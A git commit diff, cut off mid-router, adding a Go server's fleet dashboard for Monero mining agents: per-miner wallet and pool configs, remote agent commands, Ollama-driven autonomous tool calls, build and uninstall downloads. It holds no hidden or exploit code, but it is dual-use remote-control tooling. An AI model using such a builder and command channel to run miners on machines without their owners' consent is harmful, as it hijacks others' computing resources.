Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
27
server/internal/api/agent_config.go
Normal file
27
server/internal/api/agent_config.go
Normal file
@@ -0,0 +1,27 @@
|
||||
package api
|
||||
|
||||
// AgentForgeConfig holds per-miner settings forged on the Forge page and sent at auth.
|
||||
type AgentForgeConfig struct {
|
||||
Wallet string
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
AIEnabled bool
|
||||
AIOllamaEndpoint string
|
||||
AIModel string
|
||||
}
|
||||
|
||||
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {
|
||||
if c.PoolHost != "" {
|
||||
return c.PoolHost
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func (c AgentForgeConfig) poolPortOrDefault(fallback int) int {
|
||||
if c.PoolPort > 0 {
|
||||
return c.PoolPort
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
299
server/internal/api/ai_handler.go
Normal file
299
server/internal/api/ai_handler.go
Normal file
@@ -0,0 +1,299 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/ollama"
|
||||
)
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// AI Autonomy Handler
|
||||
// ──────────────────────────────────────────────
|
||||
// Provides REST endpoints for the AI Autonomy feature.
|
||||
// Agents call these endpoints to get decisions from Ollama
|
||||
// and report tool execution results.
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
// AIHandler manages AI autonomy endpoints.
|
||||
type AIHandler struct {
|
||||
db *db.Database
|
||||
engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config)
|
||||
reports []ollama.Report // recent tool execution reports
|
||||
activity map[string]AIActivityEntry
|
||||
onEvent func(AIActivityEntry)
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
// AIActivityEntry summarizes recent AI cycles per agent.
|
||||
type AIActivityEntry struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
LastDecideAt time.Time `json:"last_decide_at,omitempty"`
|
||||
LastAction string `json:"last_action,omitempty"`
|
||||
LastTool string `json:"last_tool,omitempty"`
|
||||
ToolCallCount int `json:"tool_call_count"`
|
||||
LastReasoning string `json:"last_reasoning,omitempty"`
|
||||
LastReportAt time.Time `json:"last_report_at,omitempty"`
|
||||
LastSuccess bool `json:"last_success"`
|
||||
}
|
||||
|
||||
// NewAIHandler creates a new AI handler.
|
||||
func NewAIHandler(database *db.Database) *AIHandler {
|
||||
return &AIHandler{
|
||||
db: database,
|
||||
engines: make(map[string]*ollama.Engine),
|
||||
reports: make([]ollama.Report, 0, 1000),
|
||||
activity: make(map[string]AIActivityEntry),
|
||||
}
|
||||
}
|
||||
|
||||
func (h *AIHandler) SetEventBroadcaster(fn func(AIActivityEntry)) {
|
||||
h.mu.Lock()
|
||||
h.onEvent = fn
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetEngineForAgent sets or updates the Ollama engine for a specific agent.
|
||||
// This is called when an agent authenticates with AI settings.
|
||||
func (h *AIHandler) SetEngineForAgent(agentID, ollamaEndpoint, model string) {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
|
||||
if ollamaEndpoint == "" {
|
||||
ollamaEndpoint = "http://localhost:11434"
|
||||
}
|
||||
if model == "" {
|
||||
model = "llama3.2"
|
||||
}
|
||||
|
||||
h.engines[agentID] = ollama.NewEngine(ollamaEndpoint, model)
|
||||
log.Printf("[AI] Engine set for agent %s (endpoint=%s, model=%s)", agentID, ollamaEndpoint, model)
|
||||
}
|
||||
|
||||
// RemoveEngine removes an agent's engine (on disconnect).
|
||||
func (h *AIHandler) RemoveEngine(agentID string) {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
delete(h.engines, agentID)
|
||||
}
|
||||
|
||||
// GetEngine returns the engine for an agent.
|
||||
func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.engines[agentID]
|
||||
}
|
||||
|
||||
// HandleDecide handles POST /api/v1/agent/decide
|
||||
func (h *AIHandler) HandleDecide(w http.ResponseWriter, r *http.Request) {
|
||||
h.handleDecide(w, r)
|
||||
}
|
||||
|
||||
// HandleReport handles POST /api/v1/agent/report
|
||||
func (h *AIHandler) HandleReport(w http.ResponseWriter, r *http.Request) {
|
||||
h.handleReport(w, r)
|
||||
}
|
||||
|
||||
// HandleHeartbeat handles POST /api/v1/agent/heartbeat
|
||||
func (h *AIHandler) HandleHeartbeat(w http.ResponseWriter, r *http.Request) {
|
||||
h.handleHeartbeat(w, r)
|
||||
}
|
||||
|
||||
// ─── Decide ───────────────────────────────────
|
||||
|
||||
type decideRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
OllamaEndpoint string `json:"ollama_endpoint,omitempty"`
|
||||
Model string `json:"model,omitempty"`
|
||||
ollama.AgentState
|
||||
}
|
||||
|
||||
func (h *AIHandler) handleDecide(w http.ResponseWriter, r *http.Request) {
|
||||
var req decideRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid request: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
if req.AgentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Get or create engine for this agent
|
||||
engine := h.GetEngine(req.AgentID)
|
||||
if engine == nil {
|
||||
// Create engine on first request
|
||||
h.SetEngineForAgent(req.AgentID, req.OllamaEndpoint, req.Model)
|
||||
engine = h.GetEngine(req.AgentID)
|
||||
}
|
||||
|
||||
if engine == nil {
|
||||
http.Error(w, "failed to create AI engine", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
// Call Ollama for decision
|
||||
resp, err := engine.Decide(&req.AgentState)
|
||||
if err != nil {
|
||||
log.Printf("[AI] Decide error for agent %s: %v", req.AgentID, err)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"error": err.Error(),
|
||||
"tool_calls": []ollama.ToolCall{
|
||||
{
|
||||
Tool: "sleep",
|
||||
Args: map[string]string{"seconds": "60"},
|
||||
Reason: "Ollama decision failed, retrying in 60 seconds",
|
||||
},
|
||||
},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[AI] Agent %s decision: %s (%d tool calls)", req.AgentID, resp.Reasoning, len(resp.ToolCalls))
|
||||
|
||||
lastAction := "decide"
|
||||
lastTool := ""
|
||||
if len(resp.ToolCalls) > 0 {
|
||||
lastTool = resp.ToolCalls[0].Tool
|
||||
lastAction = resp.ToolCalls[0].Tool
|
||||
}
|
||||
h.recordActivity(AIActivityEntry{
|
||||
AgentID: req.AgentID,
|
||||
LastDecideAt: time.Now(),
|
||||
LastAction: lastAction,
|
||||
LastTool: lastTool,
|
||||
ToolCallCount: len(resp.ToolCalls),
|
||||
LastReasoning: truncateStr(resp.Reasoning, 120),
|
||||
})
|
||||
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// ─── Report ───────────────────────────────────
|
||||
|
||||
func (h *AIHandler) handleReport(w http.ResponseWriter, r *http.Request) {
|
||||
body, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "invalid report body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
var reports []ollama.Report
|
||||
if err := json.Unmarshal(body, &reports); err != nil {
|
||||
var single ollama.Report
|
||||
if err2 := json.Unmarshal(body, &single); err2 != nil {
|
||||
http.Error(w, "invalid report: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
reports = []ollama.Report{single}
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
for _, report := range reports {
|
||||
report.Timestamp = time.Now()
|
||||
h.reports = append(h.reports, report)
|
||||
log.Printf("[AI] Report from agent %s: tool=%s success=%v output=%s",
|
||||
report.AgentID, report.Tool, report.Success, truncateStr(report.Output, 200))
|
||||
|
||||
prev := h.activity[report.AgentID]
|
||||
prev.AgentID = report.AgentID
|
||||
prev.LastReportAt = report.Timestamp
|
||||
prev.LastTool = report.Tool
|
||||
prev.LastAction = report.Tool
|
||||
prev.LastSuccess = report.Success
|
||||
h.activity[report.AgentID] = prev
|
||||
if h.onEvent != nil {
|
||||
h.onEvent(prev)
|
||||
}
|
||||
}
|
||||
// Keep only last 1000 reports
|
||||
if len(h.reports) > 1000 {
|
||||
h.reports = h.reports[len(h.reports)-1000:]
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"received": len(reports),
|
||||
})
|
||||
}
|
||||
|
||||
// ─── Heartbeat ────────────────────────────────
|
||||
|
||||
type heartbeatRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Status string `json:"status"` // "alive", "restarting", "error"
|
||||
Message string `json:"message,omitempty"`
|
||||
}
|
||||
|
||||
func (h *AIHandler) handleHeartbeat(w http.ResponseWriter, r *http.Request) {
|
||||
var req heartbeatRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid heartbeat", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
if req.AgentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[AI] Heartbeat from agent %s: status=%s", req.AgentID, req.Status)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"interval": 60, // seconds until next heartbeat
|
||||
})
|
||||
}
|
||||
|
||||
// ─── Helpers ──────────────────────────────────
|
||||
|
||||
func truncateStr(s string, maxLen int) string {
|
||||
if len(s) <= maxLen {
|
||||
return s
|
||||
}
|
||||
return s[:maxLen] + "..."
|
||||
}
|
||||
|
||||
func (h *AIHandler) recordActivity(entry AIActivityEntry) {
|
||||
h.mu.Lock()
|
||||
prev := h.activity[entry.AgentID]
|
||||
if !entry.LastDecideAt.IsZero() {
|
||||
prev.LastDecideAt = entry.LastDecideAt
|
||||
}
|
||||
if entry.LastAction != "" {
|
||||
prev.LastAction = entry.LastAction
|
||||
}
|
||||
if entry.LastTool != "" {
|
||||
prev.LastTool = entry.LastTool
|
||||
}
|
||||
if entry.ToolCallCount > 0 {
|
||||
prev.ToolCallCount = entry.ToolCallCount
|
||||
}
|
||||
if entry.LastReasoning != "" {
|
||||
prev.LastReasoning = entry.LastReasoning
|
||||
}
|
||||
prev.AgentID = entry.AgentID
|
||||
h.activity[entry.AgentID] = prev
|
||||
fn := h.onEvent
|
||||
h.mu.Unlock()
|
||||
if fn != nil {
|
||||
fn(prev)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *AIHandler) ActivitySnapshot() []AIActivityEntry {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
out := make([]AIActivityEntry, 0, len(h.activity))
|
||||
for _, v := range h.activity {
|
||||
out = append(out, v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
63
server/internal/api/ai_handler_test.go
Normal file
63
server/internal/api/ai_handler_test.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/ollama"
|
||||
)
|
||||
|
||||
func TestHandleReportSingleAndArray(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
h := NewAIHandler(database)
|
||||
|
||||
single := ollama.Report{
|
||||
AgentID: "agent-1",
|
||||
Tool: "sleep",
|
||||
Success: true,
|
||||
Output: "ok",
|
||||
}
|
||||
body, _ := json.Marshal(single)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("single report status %d body %s", w.Code, w.Body.String())
|
||||
}
|
||||
|
||||
arr := []ollama.Report{{
|
||||
AgentID: "agent-2",
|
||||
Tool: "check_log",
|
||||
Success: false,
|
||||
Output: "fail",
|
||||
}}
|
||||
body, _ = json.Marshal(arr)
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(body))
|
||||
w = httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("array report status %d body %s", w.Code, w.Body.String())
|
||||
}
|
||||
|
||||
activity := h.ActivitySnapshot()
|
||||
if len(activity) < 2 {
|
||||
t.Fatalf("expected activity entries, got %d", len(activity))
|
||||
}
|
||||
}
|
||||
|
||||
func TestEstimateXMRPerDay(t *testing.T) {
|
||||
out := EstimateXMRPerDay(3_000_000_000)
|
||||
xmr, ok := out["xmr_per_day"].(float64)
|
||||
if !ok || xmr <= 0 {
|
||||
t.Fatalf("expected positive xmr estimate at network hashrate, got %v", out)
|
||||
}
|
||||
}
|
||||
211
server/internal/api/blueprint_handler.go
Normal file
211
server/internal/api/blueprint_handler.go
Normal file
@@ -0,0 +1,211 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// BlueprintHandler handles save/load/list/delete of config blueprints
|
||||
type BlueprintHandler struct {
|
||||
dataDir string
|
||||
}
|
||||
|
||||
// BlueprintInfo is the metadata returned when listing blueprints
|
||||
type BlueprintInfo struct {
|
||||
Name string `json:"name"`
|
||||
Size int64 `json:"size"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Data json.RawMessage `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
func NewBlueprintHandler(dataDir string) *BlueprintHandler {
|
||||
return &BlueprintHandler{dataDir: dataDir}
|
||||
}
|
||||
|
||||
func (h *BlueprintHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
h.listBlueprints(w, r)
|
||||
case http.MethodPost:
|
||||
h.saveBlueprint(w, r)
|
||||
case http.MethodDelete:
|
||||
h.deleteBlueprint(w, r)
|
||||
default:
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
}
|
||||
}
|
||||
|
||||
// GET /api/v1/blueprints
|
||||
func (h *BlueprintHandler) listBlueprints(w http.ResponseWriter, r *http.Request) {
|
||||
blueprintsDir := filepath.Join(h.dataDir, "blueprints")
|
||||
if err := os.MkdirAll(blueprintsDir, 0755); err != nil {
|
||||
http.Error(w, `{"error":"Cannot create blueprints directory"}`, http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(blueprintsDir)
|
||||
if err != nil {
|
||||
http.Error(w, `{"error":"Cannot read blueprints directory"}`, http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
var blueprints []BlueprintInfo
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSuffix(entry.Name(), ".json")
|
||||
blueprints = append(blueprints, BlueprintInfo{
|
||||
Name: name,
|
||||
Size: info.Size(),
|
||||
CreatedAt: info.ModTime().Format(time.RFC3339),
|
||||
})
|
||||
}
|
||||
|
||||
// Sort by creation time, newest first
|
||||
sort.Slice(blueprints, func(i, j int) bool {
|
||||
return blueprints[i].CreatedAt > blueprints[j].CreatedAt
|
||||
})
|
||||
|
||||
if blueprints == nil {
|
||||
blueprints = []BlueprintInfo{}
|
||||
}
|
||||
|
||||
writeJSON(w, blueprints)
|
||||
}
|
||||
|
||||
// POST /api/v1/blueprints
|
||||
func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
Data json.RawMessage `json:"data"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, `{"error":"Invalid JSON"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
if req.Name == "" {
|
||||
http.Error(w, `{"error":"Blueprint name is required"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Sanitize name - only allow safe filename characters
|
||||
safeName := sanitizeFilename(req.Name)
|
||||
if safeName == "" {
|
||||
http.Error(w, `{"error":"Invalid blueprint name"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
blueprintsDir := filepath.Join(h.dataDir, "blueprints")
|
||||
if err := os.MkdirAll(blueprintsDir, 0755); err != nil {
|
||||
http.Error(w, `{"error":"Cannot create blueprints directory"}`, http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filePath := filepath.Join(blueprintsDir, safeName+".json")
|
||||
|
||||
// Pretty-print the JSON
|
||||
var prettyData interface{}
|
||||
if err := json.Unmarshal(req.Data, &prettyData); err != nil {
|
||||
http.Error(w, `{"error":"Invalid data JSON"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
formatted, err := json.MarshalIndent(prettyData, "", " ")
|
||||
if err != nil {
|
||||
http.Error(w, `{"error":"Failed to format JSON"}`, http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"name": safeName,
|
||||
"file_path": filePath,
|
||||
"created_at": time.Now().Format(time.RFC3339),
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/blueprints/{name}
|
||||
func (h *BlueprintHandler) GetBlueprint(w http.ResponseWriter, r *http.Request) {
|
||||
name := chi.URLParam(r, "name")
|
||||
if name == "" {
|
||||
http.Error(w, `{"error":"Blueprint name required"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
safeName := sanitizeFilename(name)
|
||||
filePath := filepath.Join(h.dataDir, "blueprints", safeName+".json")
|
||||
|
||||
data, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
http.Error(w, `{"error":"Blueprint not found"}`, http.StatusNotFound)
|
||||
} else {
|
||||
http.Error(w, `{"error":"Failed to read blueprint"}`, http.StatusInternalServerError)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Return the raw JSON data
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Write(data)
|
||||
}
|
||||
|
||||
// DELETE /api/v1/blueprints/{name}
|
||||
func (h *BlueprintHandler) deleteBlueprint(w http.ResponseWriter, r *http.Request) {
|
||||
// Parse name from query param since chi doesn't have PathValue
|
||||
name := r.URL.Query().Get("name")
|
||||
if name == "" {
|
||||
http.Error(w, `{"error":"Blueprint name required (use ?name=...)"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
safeName := sanitizeFilename(name)
|
||||
filePath := filepath.Join(h.dataDir, "blueprints", safeName+".json")
|
||||
|
||||
if err := os.Remove(filePath); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
http.Error(w, `{"error":"Blueprint not found"}`, http.StatusNotFound)
|
||||
} else {
|
||||
http.Error(w, `{"error":"Failed to delete blueprint"}`, http.StatusInternalServerError)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]string{"success": "true", "name": safeName})
|
||||
}
|
||||
|
||||
func sanitizeFilename(name string) string {
|
||||
// Remove path separators and dangerous characters
|
||||
name = strings.Map(func(r rune) rune {
|
||||
if r == '/' || r == '\\' || r == ':' || r == '*' || r == '?' || r == '"' || r == '<' || r == '>' || r == '|' {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, name)
|
||||
// Trim spaces and dots
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.Trim(name, ".")
|
||||
// Limit length
|
||||
if len(name) > 100 {
|
||||
name = name[:100]
|
||||
}
|
||||
return name
|
||||
}
|
||||
143
server/internal/api/fleet_handler.go
Normal file
143
server/internal/api/fleet_handler.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/pool"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
type FleetHandler struct {
|
||||
db *db.Database
|
||||
ws *WSHub
|
||||
ai *AIHandler
|
||||
pools *pool.Manager
|
||||
alerts *alerts.Evaluator
|
||||
defaultPool pool.Config
|
||||
}
|
||||
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||
return &FleetHandler{
|
||||
db: database,
|
||||
ws: ws,
|
||||
ai: ai,
|
||||
pools: pools,
|
||||
alerts: evaluator,
|
||||
defaultPool: defaultPool,
|
||||
}
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
||||
if f.alerts == nil {
|
||||
writeJSON(w, []alerts.AlertEvent{})
|
||||
return
|
||||
}
|
||||
writeJSON(w, f.alerts.ActiveAlerts())
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
||||
if f.pools == nil {
|
||||
writeJSON(w, []pool.PoolStatus{})
|
||||
return
|
||||
}
|
||||
writeJSON(w, f.pools.ListStatus())
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ai == nil {
|
||||
writeJSON(w, []AIActivityEntry{})
|
||||
return
|
||||
}
|
||||
writeJSON(w, f.ai.ActivitySnapshot())
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
hashrate := parseFloatQuery(r, "hashrate", 0)
|
||||
writeJSON(w, EstimateXMRPerDay(hashrate))
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if r.URL.Query().Get("refresh") == "1" {
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
time.Sleep(800 * time.Millisecond)
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
"content": f.ws.GetAgentLog(id),
|
||||
})
|
||||
}
|
||||
|
||||
type agentCommandRequest struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
var req agentCommandRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid command", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Action == "" {
|
||||
http.Error(w, "action is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
args := map[string]interface{}{}
|
||||
if req.TailLines > 0 {
|
||||
args["tail_lines"] = req.TailLines
|
||||
}
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||
const networkHashrate = 3_000_000_000.0
|
||||
const dailyEmissionXMR = 432.0
|
||||
xmr := 0.0
|
||||
if hashrate > 0 && networkHashrate > 0 {
|
||||
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"hashrate": hashrate,
|
||||
"xmr_per_day": xmr,
|
||||
"usd_per_day": nil,
|
||||
"network_hashrate": networkHashrate,
|
||||
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
|
||||
}
|
||||
}
|
||||
|
||||
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
|
||||
v := r.URL.Query().Get(key)
|
||||
if v == "" {
|
||||
return def
|
||||
}
|
||||
f, err := strconv.ParseFloat(v, 64)
|
||||
if err != nil {
|
||||
return def
|
||||
}
|
||||
return f
|
||||
}
|
||||
@@ -5,9 +5,9 @@ import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
type Handler struct {
|
||||
|
||||
@@ -6,14 +6,15 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/db"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/go-chi/chi/v5/middleware"
|
||||
"github.com/go-chi/cors"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/builder"
|
||||
)
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, webRoot string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, publicURLOverride func() string) http.Handler {
|
||||
r := chi.NewRouter()
|
||||
|
||||
// Middleware
|
||||
@@ -31,7 +32,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
h := NewHandler(database)
|
||||
|
||||
r.Get("/health", h.HealthCheck)
|
||||
r.Get("/server/info", h.GetServerInfo)
|
||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||
override := ""
|
||||
if publicURLOverride != nil {
|
||||
override = publicURLOverride()
|
||||
}
|
||||
GetServerInfo(w, r, override)
|
||||
})
|
||||
|
||||
// Dashboard
|
||||
r.Get("/dashboard/stats", h.GetDashboardStats)
|
||||
@@ -40,6 +47,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/agents", h.ListAgents)
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
}
|
||||
|
||||
// Fleet ops
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
}
|
||||
|
||||
// Shares
|
||||
r.Get("/shares", h.GetRecentShares)
|
||||
@@ -47,6 +66,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
||||
|
||||
// Config
|
||||
r.Get("/config", configHandler.ServeHTTP)
|
||||
@@ -54,6 +74,17 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Post("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// AI Autonomy (Ollama)
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
